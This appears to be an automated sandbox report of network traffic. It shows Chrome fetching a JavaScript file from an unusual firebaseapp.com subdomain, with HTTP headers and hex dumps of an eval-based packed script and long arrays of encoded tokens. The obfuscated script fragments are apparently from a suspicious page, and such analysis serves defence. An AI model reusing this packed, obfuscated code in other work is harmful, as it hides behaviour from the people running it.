74 72 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 66 2e 67 65 74 56 65 72 73 69 6f 6e 53 74 72 28 61 2
c 74 68 69 73 2e 75 61 29 7d 2c 69 73 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 63 28 74 68 69 73 
2e 75 73 65 72 41 67 65 6e 74 73 28 29 2c 62 29 7c 7c 61 28 62 2c 74 
Data Ascii: os:function(){return this._cache.os===b&&(this._cache.os=f.detectOS(this.ua)),this._cache.os},version:functi
on(a){return f.getVersion(a,this.ua)},versionStr:function(a){return f.getVersionStr(a,this.ua)},is:function(b){return c(
this.userAgents(),b)||a(b,t

2022-05-13 14:40:15 UTC 894 IN Data Raw: 30 0d 0a 0d 0a 
Data Ascii: 0

Timestamp
kBytes
transferred

Direction Data
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Session ID Source IP Source Port Destination IP
Destination
Port

Process

37 192.168.2.3 49763 199.36.158.100 443 C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp
kBytes
transferred

Direction Data

2022-05-13 14:40:18 UTC 894 OUT GET /cvnmkyjthrsdgvzx/themes/e4fc5ba74141b5f241e5a39205ad7cea.js HTTP/1.1
Host: rimorecndappz.firebaseapp.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.
121 Safari/537.36
Accept: */*
Sec-Fetch-Site: cross-site
Sec-Fetch-Mode: no-cors
Sec-Fetch-Dest: script
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9

2022-05-13 14:40:18 UTC 894 IN HTTP/1.1 200 OK
Connection: close
Content-Length: 380452
Cache-Control: max-age=3600
Content-Type: text/javascript; charset=utf-8
Etag: "6932e76b19fea87369e17dbe8dc269bdff52bfb6d2d4815b95f69c6d3df4b90d"
Last-Modified: Thu, 14 Apr 2022 17:10:06 GMT
Strict-Transport-Security: max-age=31556926; includeSubDomains; preload
Accept-Ranges: bytes
Date: Fri, 13 May 2022 14:40:18 GMT
X-Served-By: cache-fra19173-FRA
X-Cache: MISS
X-Cache-Hits: 0
X-Timer: S1652452818.143992,VS0,VE144
Vary: x-fh-requested-host, accept-encoding

2022-05-13 14:40:18 UTC 895 IN Data Raw: 65 76 61 6c 28 66 75 6e 63 74 69 6f 6e 28 24 6e 62 72 75 74 2c 20 24 75 74 6e 62 72 2c 20 24 6e 62 72 2c 20 
24 75 74 2c 20 24 75 79 6e 2c 20 24 79 75 6e 29 20 7b 24 75 79 6e 3d 66 75 6e 63 74 69 6f 6e 28 24 63 68 61 72 43 6f 
64 65 29 20 7b 72 65 74 75 72 6e 20 28 24 63 68 61 72 43 6f 64 65 20 3c 20 24 75 74 6e 62 72 20 3f 20 27 27 20 3a 20 
24 75 79 6e 28 70 61 72 73 65 49 6e 74 28 24 63 68 61 72 43 6f 64 65 20 2f 20 24 75 74 6e 62 72 29 29 29 20 2b 28 28 2
4 63 68 61 72 43 6f 64 65 20 3d 20 24 63 68 61 72 43 6f 64 65 20 25 20 24 75 74 6e 62 72 29 20 3e 20 33 35 20 3f 20 53 
74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 24 63 68 61 72 43 6f 64 65 20 2b 20 32 39 29 20 3a 20 24 63 
68 61 72 43 6f 64 65 2e 74 6f 53 74 72 69 6e 67 28 33 36 29 29 3b 7d 
Data Ascii: eval(function($nbrut, $utnbr, $nbr, $ut, $uyn, $yun) {$uyn=function($charCode) {return ($charCode < $utnbr ? 
'' : $uyn(parseInt($charCode / $utnbr))) +(($charCode = $charCode % $utnbr) > 35 ? String.fromCharCode($charCode + 
29) : $charCode.toString(36));}

2022-05-13 14:40:18 UTC 896 IN Data Raw: 22 31 79 53 3d 22 2c 22 31 79 52 3d 3d 22 2c 22 31 79 50 3d 22 2c 22 31 79 47 3d 22 2c 22 31 79 4f 3d 22 2c 
22 31 79 4e 3d 22 2c 22 31 79 4d 3d 22 2c 22 31 79 4c 3d 22 2c 22 31 79 4b 3d 22 2c 22 31 79 4a 3d 22 2c 22 31 79 49 
3d 22 2c 22 31 79 48 3d 22 2c 22 31 79 46 3d 22 2c 22 31 79 6a 3d 22 2c 22 31 78 59 3d 22 2c 22 31 79 69 22 2c 22 31 
78 56 3d 22 2c 22 31 78 55 3d 22 2c 22 31 78 54 3d 22 2c 22 31 78 53 3d 22 2c 22 31 78 52 3d 22 2c 22 31 78 51 3d 22 
2c 22 31 78 50 3d 3d 22 2c 22 31 78 4f 3d 22 2c 22 31 78 4d 3d 22 2c 22 31 78 45 3d 22 2c 22 31 78 4c 3d 22 2c 22 31 
78 4b 22 2c 22 31 78 4a 3d 22 2c 22 31 78 49 3d 22 2c 22 31 78 48 22 2c 22 31 78 47 3d 22 2c 22 31 78 46 3d 22 2c 22 
31 78 57 3d 22 2c 22 31 78 4e 3d 22 2c 22 31 78 58 3d 22 2c 22 31 79 39 
Data Ascii: "1yS=","1yR==","1yP=","1yG=","1yO=","1yN=","1yM=","1yL=","1yK=","1yJ=","1yI=","1yH=","1yF=","1yj="
,"1xY=","1yi","1xV=","1xU=","1xT=","1xS=","1xR=","1xQ=","1xP==","1xO=","1xM=","1xE=","1xL=","1xK","1xJ=","1xI=
","1xH","1xG=","1xF=","1xW=","1xN=","1xX=","1y9

2022-05-13 14:40:18 UTC 898 IN Data Raw: 2c 22 31 76 31 3d 22 2c 22 31 76 30 3d 22 2c 22 31 75 5a 3d 22 2c 22 31 75 59 3d 22 2c 22 31 75 58 3d 22 2c 
22 31 75 57 3d 22 2c 22 31 75 56 3d 22 2c 22 31 76 63 3d 3d 22 2c 22 31 76 33 3d 3d 22 2c 22 31 76 64 3d 22 2c 22 31 
76 6f 3d 22 2c 22 31 76 77 3d 22 2c 22 31 76 76 3d 22 2c 22 31 76 75 3d 22 2c 22 31 76 74 3d 22 2c 22 31 76 73 3d 22 
2c 22 31 76 72 3d 22 2c 22 31 76 71 3d 22 2c 22 31 76 70 22 2c 22 31 76 6e 3d 22 2c 22 31 76 66 3d 22 2c 22 31 76 6d 
3d 22 2c 22 31 76 6c 3d 22 2c 22 31 76 6b 3d 22 2c 22 31 76 6a 3d 22 2c 22 31 76 69 3d 22 2c 22 31 76 68 3d 3d 22 2c 
22 31 76 67 3d 22 2c 22 31 79 5a 3d 3d 22 2c 22 31 77 67 3d 22 2c 22 31 7a 30 3d 22 2c 22 31 42 4c 3d 22 2c 22 31 43 
4a 3d 22 2c 22 31 43 49 3d 22 2c 22 31 43 48 3d 22 2c 22 31 43 47 3d 22 
Data Ascii: ,"1v1=","1v0=","1uZ=","1uY=","1uX=","1uW=","1uV=","1vc==","1v3==","1vd=","1vo=","1vw=","1vv=","1vu
=","1vt=","1vs=","1vr=","1vq=","1vp","1vn=","1vf=","1vm=","1vl=","1vk=","1vj=","1vi=","1vh==","1vg=","1yZ==","1wg=","1z0
=","1BL=","1CJ=","1CI=","1CH=","1CG="

2022-05-13 14:40:18 UTC 899 IN Data Raw: 31 44 78 3d 22 2c 22 31 44 77 3d 3d 22 2c 22 31 44 76 3d 22 2c 22 31 44 38 3d 22 2c 22 31 42 4b 3d 22 2c 
22 31 41 6f 3d 22 2c 22 31 42 4a 3d 22 2c 22 31 7a 5a 3d 22 2c 22 31 7a 59 22 2c 22 31 7a 58 3d 22 2c 22 31 7a 57 3d 
22 2c 22 31 7a 56 3d 22 2c 22 31 7a 55 3d 22 2c 22 31 7a 54 3d 22 2c 22 31 7a 53 3d 22 2c 22 31 7a 51 3d 22 2c 22 31 
7a 49 3d 22 2c 22 31 7a 50 3d 22 2c 22 31 7a 4f 3d 22 2c 22 31 7a 4e 3d 22 2c 22 31 7a 4d 3d 22 2c 22 31 7a 4c 3d 22 
2c 22 31 7a 4b 3d 22 2c 22 31 7a 4a 3d 22 2c 22 31 41 30 3d 22 2c 22 31 7a 52 3d 22 2c 22 31 41 31 3d 22 2c 22 31 41 
64 3d 22 2c 22 31 41 6c 3d 22 2c 22 31 41 6b 3d 22 2c 22 31 41 6a 3d 22 2c 22 31 41 69 3d 22 2c 22 31 41 68 3d 22 2c 
22 31 41 67 3d 22 2c 22 31 41 66 3d 22 2c 22 31 41 65 3d 22 2c 22 31 41 63 
Data Ascii: 1Dx=","1Dw==","1Dv=","1D8=","1BK=","1Ao=","1BJ=","1zZ=","1zY","1zX=","1zW=","1zV=","1zU=","1zT=","
1zS=","1zQ=","1zI=","1zP=","1zO=","1zN=","1zM=","1zL=","1zK=","1zJ=","1A0=","1zR=","1A1=","1Ad=","1Al=","1Ak="
,"1Aj=","1Ai=","1Ah=","1Ag=","1Af=","1Ae=","1Ac

2022-05-13 14:40:18 UTC 900 IN Data Raw: 6d 67 3d 22 2c 22 31 6d 73 3d 22 2c 22 31 6d 41 3d 22 2c 22 31 6d 7a 22 2c 22 31 6d 79 3d 22 2c 22 31 6d 78 
3d 22 2c 22 31 6d 77 3d 22 2c 22 31 6d 76 3d 22 2c 22 31 6d 75 3d 22 2c 22 31 6d 74 3d 22 2c 22 31 6d 72 3d 3d 22 2c 
22 31 6d 69 3d 22 2c 22 31 6d 71 3d 22 2c 22 31 6d 70 3d 3d 22 2c 22 31 6d 6f 3d 3d 22 2c 22 31 6d 6e 3d 3d 22 2c 22 
31 6d 6d 3d 22 2c 22 31 6d 6c 3d 22 2c 22 31 6d 6b 3d 22 2c 22 31 6d 6a 22 2c 22 31 6d 68 3d 22 2c 22 31 6c 56 3d 22 
2c 22 31 6c 42 3d 22 2c 22 31 6c 55 3d 22 2c 22 31 6c 79 3d 22 2c 22 31 6c 78 3d 22 2c 22 31 6c 77 3d 22 2c 22 31 6c 
76 3d 22 2c 22 31 6c 75 3d 22 2c 22 31 6c 74 3d 22 2c 22 31 6c 73 3d 22 2c 22 31 6c 72 22 2c 22 31 6c 70 3d 22 2c 22 
31 6c 68 3d 22 2c 22 31 6c 6f 3d 22 2c 22 31 6c 6e 3d 22 2c 22 31 6c 6d 
Data Ascii: mg=","1ms=","1mA=","1mz","1my=","1mx=","1mw=","1mv=","1mu=","1mt=","1mr==","1mi=","1mq=","1mp==","
1mo==","1mn==","1mm=","1ml=","1mk=","1mj","1mh=","1lV=","1lB=","1lU=","1ly=","1lx=","1lw=","1lv=","1lu=","1lt=","1ls=","
1lr","1lp=","1lh=","1lo=","1ln=","1lm
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2022-05-13 14:40:18 UTC 902 IN Data Raw: 22 31 69 4b 3d 3d 22 2c 22 31 69 4a 3d 22 2c 22 31 69 49 3d 3d 22 2c 22 31 69 48 3d 22 2c 22 31 69 46 3d 
22 2c 22 31 69 78 3d 22 2c 22 31 69 45 3d 3d 22 2c 22 31 69 44 3d 22 2c 22 31 69 43 22 2c 22 31 69 42 3d 22 2c 22 31 
69 41 3d 22 2c 22 31 69 7a 3d 22 2c 22 31 69 79 3d 22 2c 22 31 69 50 3d 22 2c 22 31 69 47 3d 3d 22 2c 22 31 69 51 3d 
22 2c 22 31 6a 31 3d 22 2c 22 31 6a 39 3d 22 2c 22 31 6a 38 3d 22 2c 22 31 6a 37 3d 22 2c 22 31 6a 36 3d 22 2c 22 31 
6a 35 3d 22 2c 22 31 6a 34 3d 22 2c 22 31 6a 33 3d 3d 22 2c 22 31 6a 32 3d 22 2c 22 31 6a 30 3d 22 2c 22 31 69 53 3d 
22 2c 22 31 69 5a 3d 22 2c 22 31 69 59 3d 22 2c 22 31 69 58 3d 22 2c 22 31 69 57 3d 22 2c 22 31 69 56 3d 22 2c 22 31 
69 55 3d 3d 22 2c 22 31 69 54 22 2c 22 31 6a 52 3d 22 2c 22 31 6a 63 3d 22 
Data Ascii: "1iK==","1iJ=","1iI==","1iH=","1iF=","1ix=","1iE==","1iD=","1iC","1iB=","1iA=","1iz=","1iy=","1iP=","1iG==",
"1iQ=","1j1=","1j9=","1j8=","1j7=","1j6=","1j5=","1j4=","1j3==","1j2=","1j0=","1iS=","1iZ=","1iY=","1iX=","1iW=","1iV=",
"1iU==","1iT","1jR=","1jc="

2022-05-13 14:40:18 UTC 903 IN Data Raw: 37 3d 22 2c 22 31 72 65 3d 22 2c 22 31 72 64 3d 22 2c 22 31 72 63 3d 22 2c 22 31 72 62 3d 22 2c 22 31 72 
61 3d 22 2c 22 31 72 39 3d 22 2c 22 31 72 38 22 2c 22 31 73 36 3d 22 2c 22 31 72 72 3d 22 2c 22 31 73 37 3d 22 2c 22 
31 73 50 3d 22 2c 22 31 74 37 3d 22 2c 22 31 74 36 3d 22 2c 22 31 74 35 3d 22 2c 22 31 74 34 3d 22 2c 22 31 74 33 3d 
22 2c 22 31 74 32 3d 22 2c 22 31 74 31 3d 22 2c 22 31 74 30 3d 22 2c 22 31 73 59 3d 22 2c 22 31 73 51 3d 22 2c 22 31 
73 58 3d 22 2c 22 31 73 57 3d 22 2c 22 31 73 56 3d 22 2c 22 31 73 55 3d 22 2c 22 31 73 54 3d 22 2c 22 31 73 53 3d 22 
2c 22 31 73 52 22 2c 22 31 74 38 3d 22 2c 22 31 73 5a 3d 22 2c 22 31 74 39 3d 22 2c 22 31 74 6c 3d 22 2c 22 31 74 74 
3d 22 2c 22 31 74 73 22 2c 22 31 74 72 3d 22 2c 22 31 74 71 3d 3d 22 2c 22 
Data Ascii: 7=","1re=","1rd=","1rc=","1rb=","1ra=","1r9=","1r8","1s6=","1rr=","1s7=","1sP=","1t7=","1t6=","1t5=","1t4=",
"1t3=","1t2=","1t1=","1t0=","1sY=","1sQ=","1sX=","1sW=","1sV=","1sU=","1sT=","1sS=","1sR","1t8=","1sZ=","1t9=","1tl=","1
tt=","1ts","1tr=","1tq==","

2022-05-13 14:40:18 UTC 904 IN Data Raw: 22 2c 22 31 71 38 22 2c 22 31 71 37 3d 22 2c 22 31 71 36 22 2c 22 31 71 6e 3d 22 2c 22 31 71 65 3d 22 2c 22 
31 71 6f 3d 3d 22 2c 22 31 71 41 3d 22 2c 22 31 71 49 3d 22 2c 22 31 71 48 3d 22 2c 22 31 71 47 3d 22 2c 22 31 71 46 
3d 22 2c 22 31 71 45 3d 22 2c 22 31 71 44 3d 22 2c 22 31 71 43 22 2c 22 31 71 42 3d 22 2c 22 31 71 7a 3d 22 2c 22 31 
71 71 22 2c 22 31 71 79 3d 22 2c 22 31 71 78 3d 22 2c 22 31 71 77 3d 22 2c 22 31 71 76 3d 22 2c 22 31 71 75 3d 22 2c 2
2 31 71 74 3d 22 2c 22 31 71 73 3d 22 2c 22 31 71 72 3d 22 2c 22 31 71 70 22 2c 22 31 71 33 22 2c 22 31 70 4a 3d 22 
2c 22 31 71 32 3d 3d 22 2c 22 31 70 47 3d 22 2c 22 31 70 46 3d 3d 22 2c 22 31 70 45 3d 22 2c 22 31 70 44 3d 3d 22 2c 
22 31 70 43 3d 22 2c 22 31 70 42 3d 22 2c 22 31 70 41 3d 22 2c 22 31 70 
Data Ascii: ","1q8","1q7=","1q6","1qn=","1qe=","1qo==","1qA=","1qI=","1qH=","1qG=","1qF=","1qE=","1qD=","1qC",
"1qB=","1qz=","1qq","1qy=","1qx=","1qw=","1qv=","1qu=","1qt=","1qs=","1qr=","1qp","1q3","1pJ=","1q2==","1pG=",
"1pF==","1pE=","1pD==","1pC=","1pB=","1pA=","1p

2022-05-13 14:40:18 UTC 906 IN Data Raw: 3d 22 2c 22 31 55 69 3d 22 2c 22 31 54 56 3d 22 2c 22 31 54 55 3d 22 2c 22 31 54 54 3d 22 2c 22 31 54 53 
3d 22 2c 22 31 54 52 22 2c 22 31 54 51 3d 22 2c 22 31 54 50 3d 22 2c 22 31 54 4f 3d 22 2c 22 31 54 4d 3d 22 2c 22 31 
54 45 3d 22 2c 22 31 54 4c 3d 22 2c 22 31 54 4b 3d 22 2c 22 31 54 4a 22 2c 22 31 54 49 3d 22 2c 22 31 54 48 3d 22 2c 2
2 31 54 47 3d 22 2c 22 31 54 46 3d 22 2c 22 31 54 57 3d 22 2c 22 31 54 4e 3d 22 2c 22 31 54 58 22 2c 22 31 55 39 3d 
22 2c 22 31 55 68 3d 22 2c 22 31 55 67 3d 22 2c 22 31 55 66 3d 22 2c 22 31 55 65 3d 22 2c 22 31 55 64 3d 22 2c 22 31 
55 63 3d 22 2c 22 31 55 62 3d 22 2c 22 31 55 61 3d 22 2c 22 31 55 38 3d 22 2c 22 31 54 5a 3d 22 2c 22 31 55 37 3d 22 
2c 22 31 55 36 3d 22 2c 22 31 55 35 3d 22 2c 22 31 55 34 3d 22 2c 22 31 55 
Data Ascii: =","1Ui=","1TV=","1TU=","1TT=","1TS=","1TR","1TQ=","1TP=","1TO=","1TM=","1TE=","1TL=","1TK=","1TJ"
,"1TI=","1TH=","1TG=","1TF=","1TW=","1TN=","1TX","1U9=","1Uh=","1Ug=","1Uf=","1Ue=","1Ud=","1Uc=","1Ub=","1Ua=
","1U8=","1TZ=","1U7=","1U6=","1U5=","1U4=","1U

2022-05-13 14:40:18 UTC 907 IN Data Raw: 52 74 3d 22 2c 22 31 52 73 3d 22 2c 22 31 52 72 3d 22 2c 22 31 52 71 22 2c 22 31 52 70 22 2c 22 31 52 6e 
3d 22 2c 22 31 52 66 3d 22 2c 22 31 52 6d 3d 22 2c 22 31 52 6c 3d 22 2c 22 31 52 6b 3d 3d 22 2c 22 31 52 6a 3d 22 2c 
22 31 52 69 3d 22 2c 22 31 52 68 3d 22 2c 22 31 52 67 3d 22 2c 22 31 55 5a 3d 22 2c 22 31 53 67 3d 22 2c 22 31 56 30 
3d 22 2c 22 31 58 4c 3d 3d 22 2c 22 31 59 4a 22 2c 22 31 59 49 3d 22 2c 22 31 59 48 3d 22 2c 22 31 59 47 3d 22 2c 22 
31 59 46 3d 22 2c 22 31 59 45 3d 22 2c 22 31 59 44 3d 3d 22 2c 22 31 59 43 3d 22 2c 22 31 59 41 3d 22 2c 22 31 59 73 
22 2c 22 31 59 7a 3d 22 2c 22 31 59 79 3d 3d 22 2c 22 31 59 78 3d 22 2c 22 31 59 77 22 2c 22 31 59 76 3d 22 2c 22 31 
59 75 3d 22 2c 22 31 59 74 3d 22 2c 22 31 59 4b 3d 22 2c 22 31 59 42 3d 22 
Data Ascii: Rt=","1Rs=","1Rr=","1Rq","1Rp","1Rn=","1Rf=","1Rm=","1Rl=","1Rk==","1Rj=","1Ri=","1Rh=","1Rg=","1U
Z=","1Sg=","1V0=","1XL==","1YJ","1YI=","1YH=","1YG=","1YF=","1YE=","1YD==","1YC=","1YA=","1Ys","1Yz=","1Yy==",
"1Yx=","1Yw","1Yv=","1Yu=","1Yt=","1YK=","1YB="

2022-05-13 14:40:18 UTC 908 IN Data Raw: 56 53 3d 22 2c 22 31 56 51 3d 3d 22 2c 22 31 56 49 3d 22 2c 22 31 56 50 3d 22 2c 22 31 56 4f 3d 22 2c 22 31 
56 4e 3d 22 2c 22 31 56 4d 3d 22 2c 22 31 56 4c 3d 3d 22 2c 22 31 56 4b 3d 22 2c 22 31 56 4a 3d 22 2c 22 31 57 30 3d 
3d 22 2c 22 31 56 52 3d 22 2c 22 31 57 31 3d 22 2c 22 31 57 64 3d 22 2c 22 31 57 6c 3d 22 2c 22 31 57 6b 3d 3d 22 2c 
22 31 57 6a 3d 3d 22 2c 22 31 57 69 3d 22 2c 22 31 57 68 3d 22 2c 22 31 57 67 3d 22 2c 22 31 57 66 22 2c 22 31 57 65 
3d 22 2c 22 31 57 63 22 2c 22 31 57 33 3d 22 2c 22 31 57 62 3d 22 2c 22 31 57 61 3d 22 2c 22 31 57 39 3d 3d 22 2c 22 
31 57 38 3d 22 2c 22 31 57 37 3d 22 2c 22 31 57 36 3d 3d 22 2c 22 31 57 35 3d 3d 22 2c 22 31 57 34 22 2c 22 31 57 32 
3d 22 2c 22 31 56 47 3d 22 2c 22 31 56 6d 3d 22 2c 22 31 56 46 22 2c 22 
Data Ascii: VS=","1VQ==","1VI=","1VP=","1VO=","1VN=","1VM=","1VL==","1VK=","1VJ=","1W0==","1VR=","1W
1=","1Wd=","1Wl=","1Wk==","1Wj==","1Wi=","1Wh=","1Wg=","1Wf","1We=","1Wc","1W3=","1Wb=","1Wa=","1W9=
=","1W8=","1W7=","1W6==","1W5==","1W4","1W2=","1VG=","1Vm=","1VF","

2022-05-13 14:40:18 UTC 910 IN Data Raw: 6f 3d 22 2c 22 31 49 6e 3d 22 2c 22 31 49 6d 3d 22 2c 22 31 49 6c 22 2c 22 31 49 6b 22 2c 22 31 49 6a 3d 22 
2c 22 31 49 68 3d 22 2c 22 31 48 56 3d 22 2c 22 31 48 42 3d 3d 22 2c 22 31 48 55 3d 22 2c 22 31 48 79 3d 22 2c 22 31 
48 78 3d 22 2c 22 31 48 77 3d 22 2c 22 31 48 76 3d 22 2c 22 31 48 75 3d 22 2c 22 31 48 74 3d 22 2c 22 31 48 73 3d 22 
2c 22 31 48 72 3d 22 2c 22 31 48 70 3d 22 2c 22 31 48 68 3d 3d 22 2c 22 31 48 6f 3d 22 2c 22 31 48 6e 3d 22 2c 22 31 4
8 6d 3d 22 2c 22 31 48 6c 3d 22 2c 22 31 48 6b 3d 22 2c 22 31 48 6a 3d 22 2c 22 31 48 69 3d 22 2c 22 31 48 7a 3d 22 2c 
22 31 48 71 3d 22 2c 22 31 48 41 3d 22 2c 22 31 48 4c 3d 22 2c 22 31 48 54 3d 22 2c 22 31 48 53 3d 22 2c 22 31 48 52 
22 2c 22 31 48 51 3d 22 2c 22 31 48 50 22 2c 22 31 48 4f 22 2c 22 31 
Data Ascii: o=","1In=","1Im=","1Il","1Ik","1Ij=","1Ih=","1HV=","1HB==","1HU=","1Hy=","1Hx=","1Hw=","1Hv=","1Hu
=","1Ht=","1Hs=","1Hr=","1Hp=","1Hh==","1Ho=","1Hn=","1Hm=","1Hl=","1Hk=","1Hj=","1Hi=","1Hz=","1Hq=","1HA=","
1HL=","1HT=","1HS=","1HR","1HQ=","1HP","1HO","1

2022-05-13 14:40:18 UTC 910 IN Data Raw: 22 31 49 53 3d 22 2c 22 31 49 52 3d 22 2c 22 31 49 51 3d 22 2c 22 31 49 50 3d 22 2c 22 31 49 4f 3d 22 2c 22 
31 49 4d 3d 3d 22 2c 22 31 49 45 3d 22 2c 22 31 49 4c 3d 22 2c 22 31 49 4b 3d 22 2c 22 31 49 4a 3d 22 2c 22 31 49 49 
3d 22 2c 22 31 49 48 3d 3d 22 2c 22 31 49 47 3d 22 2c 22 31 49 46 3d 22 2c 22 31 49 57 3d 22 2c 22 31 49 4e 3d 22 2c 
22 31 49 58 3d 22 2c 22 31 4a 39 3d 22 2c 22 31 4a 68 3d 3d 22 2c 22 31 4a 67 3d 22 2c 22 31 4a 66 3d 22 2c 22 31 4a 
65 22 2c 22 31 4a 64 3d 22 2c 22 31 4a 63 3d 3d 22 2c 22 31 4a 62 3d 22 2c 22 31 4a 61 3d 22 2c 22 31 4a 38 3d 22 2c 
22 31 49 5a 3d 3d 22 2c 22 31 4a 37 3d 22 2c 22 31 4a 36 3d 22 2c 22 31 4a 35 3d 3d 22 2c 22 31 4a 34 3d 22 2c 22 31 
4a 33 3d 22 2c 22 31 4a 32 3d 22 2c 22 31 4a 31 3d 22 2c 22 31 4a 30 22 
Data Ascii: "1IS=","1IR=","1IQ=","1IP=","1IO=","1IM==","1IE=","1IL=","1IK=","1IJ=","1II=","1IH==","1IG=","1IF=","1IW=","
1IN=","1IX=","1J9=","1Jh==","1Jg=","1Jf=","1Je","1Jd=","1Jc==","1Jb=","1Ja=","1J8=","1IZ==","1J7=","1J6=","1J5
==","1J4=","1J3=","1J2=","1J1=","1J0"

Timestamp
kBytes
transferred
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2022-05-13 14:40:18 UTC 912 IN Data Raw: 3d 22 2c 22 31 47 6e 22 2c 22 31 47 66 3d 22 2c 22 31 47 6d 3d 22 2c 22 31 47 6c 3d 22 2c 22 31 47 6b 3d 22 
2c 22 31 47 6a 3d 3d 22 2c 22 31 47 69 3d 22 2c 22 31 47 68 22 2c 22 31 47 67 3d 22 2c 22 31 4a 5a 3d 22 2c 22 31 48 
67 3d 22 2c 22 31 4b 30 3d 22 2c 22 31 4d 4c 3d 22 2c 22 31 4e 4a 3d 22 2c 22 31 4e 49 22 2c 22 31 4e 48 3d 22 2c 22 
31 4e 47 3d 22 2c 22 31 4e 46 3d 22 2c 22 31 4e 45 3d 22 2c 22 31 4e 44 3d 3d 22 2c 22 31 4e 43 3d 22 2c 22 31 4e 41 
3d 22 2c 22 31 4e 73 3d 22 2c 22 31 4e 7a 3d 22 2c 22 31 4e 79 3d 3d 22 2c 22 31 4e 78 3d 22 2c 22 31 4e 77 3d 22 2c 
22 31 4e 76 3d 22 2c 22 31 4e 75 3d 22 2c 22 31 4e 74 22 2c 22 31 4e 4b 3d 22 2c 22 31 4e 42 3d 22 2c 22 31 4e 4c 3d 
3d 22 2c 22 31 4e 58 3d 22 2c 22 31 4f 35 3d 22 2c 22 31 4f 34 3d 3d 22 
Data Ascii: =","1Gn","1Gf=","1Gm=","1Gl=","1Gk=","1Gj==","1Gi=","1Gh","1Gg=","1JZ=","1Hg=","1K0=","1ML=","1NJ=
","1NI","1NH=","1NG=","1NF=","1NE=","1ND==","1NC=","1NA=","1Ns=","1Nz=","1Ny==","1Nx=","1Nw=","1Nv=","1Nu=","1
Nt","1NK=","1NB=","1NL==","1NX=","1O5=","1O4=="

2022-05-13 14:40:18 UTC 913 IN Data Raw: 22 2c 22 31 4b 4c 3d 22 2c 22 31 4b 4b 3d 3d 22 2c 22 31 4b 4a 3d 22 2c 22 31 4c 30 3d 22 2c 22 31 4b 52 3d 
22 2c 22 31 4c 31 3d 22 2c 22 31 4c 64 3d 22 2c 22 31 4c 6c 3d 22 2c 22 31 4c 6b 22 2c 22 31 4c 6a 3d 22 2c 22 31 4c 
69 3d 22 2c 22 31 4c 68 3d 22 2c 22 31 4c 67 3d 22 2c 22 31 4c 66 3d 22 2c 22 31 4c 65 22 2c 22 31 4c 63 22 2c 22 31 
4c 33 3d 22 2c 22 31 4c 62 3d 3d 22 2c 22 31 4c 61 3d 22 2c 22 31 4c 39 3d 22 2c 22 31 4c 38 3d 22 2c 22 31 4c 37 3d 2
2 2c 22 31 4c 36 3d 3d 22 2c 22 31 4c 35 3d 22 2c 22 31 4c 34 3d 22 2c 22 31 4c 32 3d 22 2c 22 31 4b 47 3d 22 2c 22 31 
4b 6d 3d 22 2c 22 31 4b 46 3d 22 2c 22 31 4b 6a 3d 22 2c 22 31 4b 69 3d 22 2c 22 31 4b 68 3d 3d 22 2c 22 31 4b 67 3d 
22 2c 22 31 4b 66 3d 22 2c 22 31 4b 65 3d 22 2c 22 31 4b 64 3d 22 2c 
Data Ascii: ","1KL=","1KK==","1KJ=","1L0=","1KR=","1L1=","1Ld=","1Ll=","1Lk","1Lj=","1Li=","1Lh=","1Lg=","1Lf=","1Le","1
Lc","1L3=","1Lb==","1La=","1L9=","1L8=","1L7=","1L6==","1L5=","1L4=","1L2=","1KG=","1Km=","1KF=","1Kj=","1Ki="
,"1Kh==","1Kg=","1Kf=","1Ke=","1Kd=",

2022-05-13 14:40:18 UTC 914 IN Data Raw: 22 5a 7a 3d 22 2c 22 31 30 52 3d 22 2c 22 31 31 34 3d 22 2c 22 31 31 35 3d 22 2c 22 31 31 37 3d 22 2c 22 
31 31 63 3d 3d 22 2c 22 31 30 4e 3d 22 2c 22 31 30 56 22 2c 22 31 30 46 3d 22 2c 22 31 30 47 3d 22 2c 22 31 30 48 3d 
22 2c 22 31 30 4b 3d 22 2c 22 31 31 49 3d 22 2c 22 31 31 51 3d 3d 22 2c 22 31 31 54 3d 22 2c 22 31 31 55 3d 22 2c 22 3
1 31 56 3d 22 2c 22 31 31 57 3d 22 2c 22 31 31 58 22 2c 22 31 31 5a 3d 22 2c 22 31 31 75 3d 22 2c 22 31 31 43 3d 22 2c 
22 31 30 42 3d 22 2c 22 31 30 6d 3d 22 2c 22 5a 59 3d 22 2c 22 5a 53 3d 22 2c 22 31 30 38 3d 3d 22 2c 22 56 62 3d 22 
2c 22 31 30 64 3d 22 2c 22 31 30 65 3d 22 2c 22 31 30 66 3d 22 2c 22 31 32 31 3d 22 2c 22 31 33 59 3d 22 2c 22 31 34 
32 3d 22 2c 22 31 34 36 3d 22 2c 22 31 33 4c 3d 22 2c 22 31 33 4e 3d 22 
Data Ascii: "Zz=","10R=","114=","115=","117=","11c==","10N=","10V","10F=","10G=","10H=","10K=","11I=","11Q==",
"11T=","11U=","11V=","11W=","11X","11Z=","11u=","11C=","10B=","10m=","ZY=","ZS=","108==","Vb=","10d=","10e=","
10f=","121=","13Y=","142=","146=","13L=","13N="

2022-05-13 14:40:18 UTC 916 IN Data Raw: 64 3d 22 2c 22 31 63 63 3d 22 2c 22 31 62 52 3d 22 2c 22 31 62 53 3d 22 2c 22 31 62 54 3d 22 2c 22 31 62 
55 3d 22 2c 22 31 62 56 3d 22 2c 22 31 62 57 3d 22 2c 22 31 62 58 3d 22 2c 22 31 62 59 3d 22 2c 22 31 62 5a 3d 22 2c 
22 31 62 51 3d 22 2c 22 31 63 30 3d 22 2c 22 31 63 32 3d 22 2c 22 31 63 33 3d 22 2c 22 31 63 36 3d 22 2c 22 31 63 37 
3d 22 2c 22 31 63 62 3d 22 2c 22 31 63 43 3d 3d 22 2c 22 31 64 63 3d 22 2c 22 31 64 64 3d 22 2c 22 31 64 35 3d 22 2c 
22 31 64 67 3d 22 2c 22 31 64 69 3d 22 2c 22 31 64 6a 3d 22 2c 22 31 64 6b 3d 22 2c 22 31 64 6c 3d 22 2c 22 31 64 6e 
3d 22 2c 22 31 64 6f 3d 22 2c 22 31 64 70 3d 22 2c 22 31 64 68 3d 3d 22 2c 22 31 64 33 3d 22 2c 22 31 63 52 3d 22 2c 
